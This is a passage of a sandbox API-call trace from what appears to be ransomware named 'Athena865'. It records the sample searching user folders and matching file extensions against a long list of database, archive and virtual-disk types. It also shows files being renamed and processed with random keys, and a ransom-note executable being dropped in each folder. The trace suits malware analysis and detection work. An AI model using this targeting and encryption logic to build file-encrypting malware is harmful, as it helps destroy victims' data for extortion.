[0050.889] lstrlenW (lpString="udl") returned 3 [0050.889] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0050.889] lstrlenW (lpString="usr") returned 3 [0050.889] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0050.889] lstrlenW (lpString="v12") returned 3 [0050.889] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0050.889] lstrlenW (lpString="vis") returned 3 [0050.889] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0050.889] lstrlenW (lpString="vpd") returned 3 [0050.889] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0050.889] lstrlenW (lpString="vvv") returned 3 [0050.889] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0050.889] lstrlenW (lpString="wdb") returned 3 [0050.889] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0050.889] lstrlenW (lpString="wmdb") returned 4 [0050.889] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0050.889] lstrlenW (lpString="wrk") returned 3 [0050.889] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0050.889] lstrlenW (lpString="xdb") returned 3 [0050.889] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0050.889] lstrlenW (lpString="xld") returned 3 [0050.889] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0050.889] lstrlenW (lpString="xmlff") returned 5 [0050.889] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1 [0050.889] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini.Athena865") returned 78 [0050.890] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\downloads\\desktop.ini"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\downloads\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0050.890] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\downloads\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0050.890] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=282) returned 1 [0050.890] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.891] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.891] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.891] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.891] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.891] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.892] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x420, lpName=0x0) returned 0x154 [0050.894] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x420) returned 0x100000 [0050.894] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.895] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.895] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.895] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.895] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.895] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50dd88 [0050.895] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.895] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50dd88 | out: hHeap=0x4f0000) returned 1 [0050.895] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.895] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.896] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.896] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.896] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.896] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.896] CloseHandle (hObject=0x154) returned 1 [0050.896] CloseHandle (hObject=0x17c) returned 1 [0050.897] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.897] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.897] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.897] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbce11940, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbce11940, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0050.897] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0050.897] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbce11940, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbce11940, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0050.897] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0050.897] ReleaseMutex (hMutex=0xec) returned 1 [0050.897] CloseHandle (hObject=0xec) returned 1 [0050.897] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites" [0050.898] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5018a8 | out: hHeap=0x4f0000) returned 1 [0050.898] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c4a0 | out: hHeap=0x4f0000) returned 1 [0050.898] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites") returned 56 [0050.898] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\230A6869F28DB15E81F2FF5C18DEF1F2") returned 0xec [0050.898] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0050.898] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites" [0050.898] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0050.898] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\how to back your files.exe"), bFailIfExists=1) returned 0 [0050.898] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0050.898] GetLastError () returned 0x0 [0050.898] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0050.898] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x532d08 [0050.899] ReadFile (in: hFile=0xf4, lpBuffer=0x532d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x532d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0050.899] CloseHandle (hObject=0xf4) returned 1 [0050.899] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0050.899] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0050.899] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbce37aa0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbce37aa0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0050.900] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.900] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0050.900] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0050.900] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbce37aa0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbce37aa0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.900] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.900] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0050.900] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0050.900] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0050.900] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0050.900] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.900] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0050.900] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1 [0050.900] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1 [0050.900] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1 [0050.900] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1 [0050.900] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1 [0050.900] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1 [0050.900] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1 [0050.900] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1 [0050.900] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1 [0050.900] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1 [0050.900] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1 [0050.900] lstrlenW (lpString="desktop.ini") returned 11 [0050.900] lstrcpyW (in: lpString1=0x241e8ba, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0050.900] lstrlenW (lpString="desktop.ini") returned 11 [0050.900] lstrlenW (lpString="Athena865") returned 9 [0050.900] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0050.900] lstrlenW (lpString=".dll") returned 4 [0050.900] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0050.900] lstrlenW (lpString=".lnk") returned 4 [0050.901] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0050.901] lstrlenW (lpString=".ini") returned 4 [0050.901] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0050.901] lstrlenW (lpString=".sys") returned 4 [0050.901] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0050.901] lstrlenW (lpString="desktop.ini") returned 11 [0050.901] lstrlenW (lpString="bak") returned 3 [0050.901] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0050.901] lstrlenW (lpString="ba_") returned 3 [0050.901] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0050.901] lstrlenW (lpString="dbb") returned 3 [0050.901] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0050.901] lstrlenW (lpString="vmdk") returned 4 [0050.901] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0050.901] lstrlenW (lpString="rar") returned 3 [0050.901] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0050.901] lstrlenW (lpString="zip") returned 3 [0050.901] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0050.901] lstrlenW (lpString="tgz") returned 3 [0050.901] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0050.901] lstrlenW (lpString="vbox") returned 4 [0050.901] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0050.901] lstrlenW (lpString="vdi") returned 3 [0050.901] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0050.901] lstrlenW (lpString="vhd") returned 3 [0050.901] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0050.901] lstrlenW (lpString="vhdx") returned 4 [0050.901] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0050.901] lstrlenW (lpString="avhd") returned 4 [0050.901] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0050.901] lstrlenW (lpString="db") returned 2 [0050.901] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0050.901] lstrlenW (lpString="db2") returned 3 [0050.902] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0050.902] lstrlenW (lpString="db3") returned 3 [0050.902] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0050.902] lstrlenW (lpString="dbf") returned 3 [0050.902] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0050.902] lstrlenW (lpString="mdf") returned 3 [0050.902] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0050.902] lstrlenW (lpString="mdb") returned 3 [0050.902] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0050.902] lstrlenW (lpString="sql") returned 3 [0050.902] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0050.902] lstrlenW (lpString="sqlite") returned 6 [0050.902] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0050.902] lstrlenW (lpString="sqlite3") returned 7 [0050.902] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0050.902] lstrlenW (lpString="sqlitedb") returned 8 [0050.902] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0050.902] lstrlenW (lpString="xml") returned 3 [0050.902] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0050.902] lstrlenW (lpString="$er") returned 3 [0050.902] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0050.902] lstrlenW (lpString="4dd") returned 3 [0050.902] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0050.902] lstrlenW (lpString="4dl") returned 3 [0050.902] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0050.902] lstrlenW (lpString="^^^") returned 3 [0050.902] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0050.902] lstrlenW (lpString="abs") returned 3 [0050.902] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0050.902] lstrlenW (lpString="abx") returned 3 [0050.902] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0050.902] lstrlenW (lpString="accdb") returned 5 [0050.902] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0050.902] lstrlenW (lpString="accdc") returned 5 [0050.903] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0050.903] lstrlenW (lpString="accde") returned 5 [0050.903] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0050.903] lstrlenW (lpString="accdr") returned 5 [0050.903] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1 [0050.903] lstrlenW (lpString="accdt") returned 5 [0050.903] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0050.903] lstrlenW (lpString="accdw") returned 5 [0050.903] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0050.903] lstrlenW (lpString="accft") returned 5 [0050.903] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1 [0050.903] lstrlenW (lpString="adb") returned 3 [0050.903] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0050.903] lstrlenW (lpString="adb") returned 3 [0050.903] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0050.903] lstrlenW (lpString="ade") returned 3 [0050.903] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0050.903] lstrlenW (lpString="adf") returned 3 [0050.903] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0050.903] lstrlenW (lpString="adn") returned 3 [0050.903] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0050.903] lstrlenW (lpString="adp") returned 3 [0050.903] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0050.903] lstrlenW (lpString="alf") returned 3 [0050.903] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0050.903] lstrlenW (lpString="ask") returned 3 [0050.903] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0050.903] lstrlenW (lpString="btr") returned 3 [0050.903] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0050.903] lstrlenW (lpString="cat") returned 3 [0050.903] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0050.903] lstrlenW (lpString="cdb") returned 3 [0050.903] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0050.904] lstrlenW (lpString="ckp") returned 3 [0050.904] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0050.904] lstrlenW (lpString="cma") returned 3 [0050.904] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0050.904] lstrlenW (lpString="cpd") returned 3 [0050.904] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0050.904] lstrlenW (lpString="dacpac") returned 6 [0050.904] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0050.904] lstrlenW (lpString="dad") returned 3 [0050.904] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0050.904] lstrlenW (lpString="dadiagrams") returned 10 [0050.904] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0050.904] lstrlenW (lpString="daschema") returned 8 [0050.904] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0050.904] lstrlenW (lpString="db-journal") returned 10 [0050.904] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0050.904] lstrlenW (lpString="db-shm") returned 6 [0050.904] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0050.904] lstrlenW (lpString="db-wal") returned 6 [0050.904] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1 [0050.904] lstrlenW (lpString="dbc") returned 3 [0050.904] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0050.904] lstrlenW (lpString="dbs") returned 3 [0050.904] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0050.904] lstrlenW (lpString="dbt") returned 3 [0050.904] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0050.904] lstrlenW (lpString="dbv") returned 3 [0050.904] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0050.904] lstrlenW (lpString="dbx") returned 3 [0050.904] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0050.904] lstrlenW (lpString="dcb") returned 3 [0050.904] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0050.904] lstrlenW (lpString="dct") returned 3 [0050.905] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0050.905] lstrlenW (lpString="dcx") returned 3 [0050.905] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0050.905] lstrlenW (lpString="ddl") returned 3 [0050.905] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0050.905] lstrlenW (lpString="dlis") returned 4 [0050.905] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0050.905] lstrlenW (lpString="dp1") returned 3 [0050.905] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0050.905] lstrlenW (lpString="dqy") returned 3 [0050.905] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0050.905] lstrlenW (lpString="dsk") returned 3 [0050.905] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0050.905] lstrlenW (lpString="dsn") returned 3 [0050.905] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0050.905] lstrlenW (lpString="dtsx") returned 4 [0050.905] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0050.905] lstrlenW (lpString="dxl") returned 3 [0050.905] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0050.905] lstrlenW (lpString="eco") returned 3 [0050.905] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0050.905] lstrlenW (lpString="ecx") returned 3 [0050.905] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0050.905] lstrlenW (lpString="edb") returned 3 [0050.905] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0050.905] lstrlenW (lpString="epim") returned 4 [0050.905] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0050.905] lstrlenW (lpString="fcd") returned 3 [0050.905] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0050.905] lstrlenW (lpString="fdb") returned 3 [0050.905] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0050.905] lstrlenW (lpString="fic") returned 3 [0050.906] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0050.906] lstrlenW (lpString="flexolibrary") returned 12 [0050.906] lstrlenW (lpString="fm5") returned 3 [0050.906] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0050.906] lstrlenW (lpString="fmp") returned 3 [0050.906] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0050.906] lstrlenW (lpString="fmp12") returned 5 [0050.906] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1 [0050.906] lstrlenW (lpString="fmpsl") returned 5 [0050.906] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1 [0050.906] lstrlenW (lpString="fol") returned 3 [0050.906] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0050.906] lstrlenW (lpString="fp3") returned 3 [0050.906] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0050.906] lstrlenW (lpString="fp4") returned 3 [0050.906] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0050.906] lstrlenW (lpString="fp5") returned 3 [0050.906] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0050.906] lstrlenW (lpString="fp7") returned 3 [0050.906] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0050.906] lstrlenW (lpString="fpt") returned 3 [0050.906] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0050.906] lstrlenW (lpString="frm") returned 3 [0050.906] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0050.906] lstrlenW (lpString="gdb") returned 3 [0050.906] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0050.906] lstrlenW (lpString="gdb") returned 3 [0050.906] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0050.907] lstrlenW (lpString="grdb") returned 4 [0050.907] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0050.907] lstrlenW (lpString="gwi") returned 3 [0050.907] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0050.907] lstrlenW (lpString="hdb") returned 3 [0050.907] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0050.907] lstrlenW (lpString="his") returned 3 [0050.907] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0050.907] lstrlenW (lpString="ib") returned 2 [0050.907] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0050.907] lstrlenW (lpString="idb") returned 3 [0050.907] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0050.907] lstrlenW (lpString="ihx") returned 3 [0050.907] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0050.907] lstrlenW (lpString="itdb") returned 4 [0050.907] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0050.907] lstrlenW (lpString="itw") returned 3 [0050.907] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0050.907] lstrlenW (lpString="jet") returned 3 [0050.907] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0050.907] lstrlenW (lpString="jtx") returned 3 [0050.907] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0050.907] lstrlenW (lpString="kdb") returned 3 [0050.907] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0050.907] lstrlenW (lpString="kexi") returned 4 [0050.907] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0050.907] lstrlenW (lpString="kexic") returned 5 [0050.907] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1 [0050.907] lstrlenW (lpString="kexis") returned 5 [0050.907] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1 [0050.907] lstrlenW (lpString="lgc") returned 3 [0050.907] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0050.908] lstrlenW (lpString="lwx") returned 3 [0050.908] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0050.908] lstrlenW (lpString="maf") returned 3 [0050.908] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0050.908] lstrlenW (lpString="maq") returned 3 [0050.908] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0050.908] lstrlenW (lpString="mar") returned 3 [0050.908] lstrcmpiW (lpString1="ini", lpString2="mar") 